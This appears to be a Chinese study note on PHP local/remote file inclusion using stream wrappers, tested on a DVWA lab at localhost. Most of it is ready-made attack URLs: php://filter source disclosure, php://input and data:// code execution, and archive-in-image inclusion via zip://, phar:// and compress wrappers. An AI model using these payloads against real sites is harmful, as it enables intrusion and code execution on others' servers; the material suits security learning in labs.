参考 https://www.cnblogs.com/zzjdbk/p/13030717.html
https://segmentfault.com/a/1190000018991087
file:// 协议
1 2
| allow_url_fopen :off/on allow_url_include:off/on
|
file:// 协议用来访问本地文件
- 使用
file:// [文件的绝对路径和文件名]
[文件的相对路径和文件名]
[网络路径和文件名]
ps: 这里使用 phpstudy 的环境,利用 dvwa 靶场环境做测试
1
| http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://D:/test/test.txt
|

php:// 协议
1 2
| allow_url_fopen:off/on allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
|
php://filter
-
介绍
一种元封装器,后面跟上参数进行筛选过滤
-
php://filter 参数详解
参数 |
描述 |
resource=<要过滤的内容> |
必须 |
read=<过滤器> |
可选 |
write=<过滤器> |
可选 |
<; 两个链的过滤器> |
不太懂… |
-
过滤器
字符串过滤器 |
作用 |
string.toupper |
等同于 strtoupper() ,转大写字母 |
string.tolower |
等同于 strtolower() ,转小写字母 |
… |
… |
转换过滤器 |
|
------------------------------------------------------------ |
---------------------------------------------------------- |
convert.base64-encode & convert.base64-decode |
等同于 base64_encode() 和 base64_decode() ,base64 编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode |
quoted-printable 字符串与 8-bit 字符串编码解码 |
… |
… |
…
1
| http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
|
ps: 在当前目录的文件

php://input + [POST DATA] 执行 php 代码
1 2
| allow_url_fopen :off/on allow_url_include:on
|
- 使用 harckerbar 插件(注意版本,高版本要收费)
PS:harckerbar 插件教程得到免费版主要有俩方法:
- 屏蔽高版本 js 代码(我失败了)
- 去 Git 下载低版本,关闭更新功能(这个插件下载后安装目前我只在火狐安装成功)
1 2 3
| http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>
|
zip://, bzip2://, zlib:// 协议
1 2
| allow_url_fopen:off/on allow_url_include :off/on
|
- zip://[压缩文件绝对路径]%23 [压缩文件内的子文件名](# 编码为 %23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
1
| http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
|
- compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
1
| http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
|
- compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
1
| http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
|
data:// 协议
1 2
| llow_url_fopen:on allow_url_include :on
|
- data://text/plain,
1
| http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
|
- data://text/plain;base64,
1
| http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
|
http:// & https:// 协议
1 2
| allow_url_fopen:on allow_url_include :on
|
1
| http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
|
phar:// 协议
phar:// 协议与 zip:// 类似,同样可以访问 zip 格式压缩包内容
1
| http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
|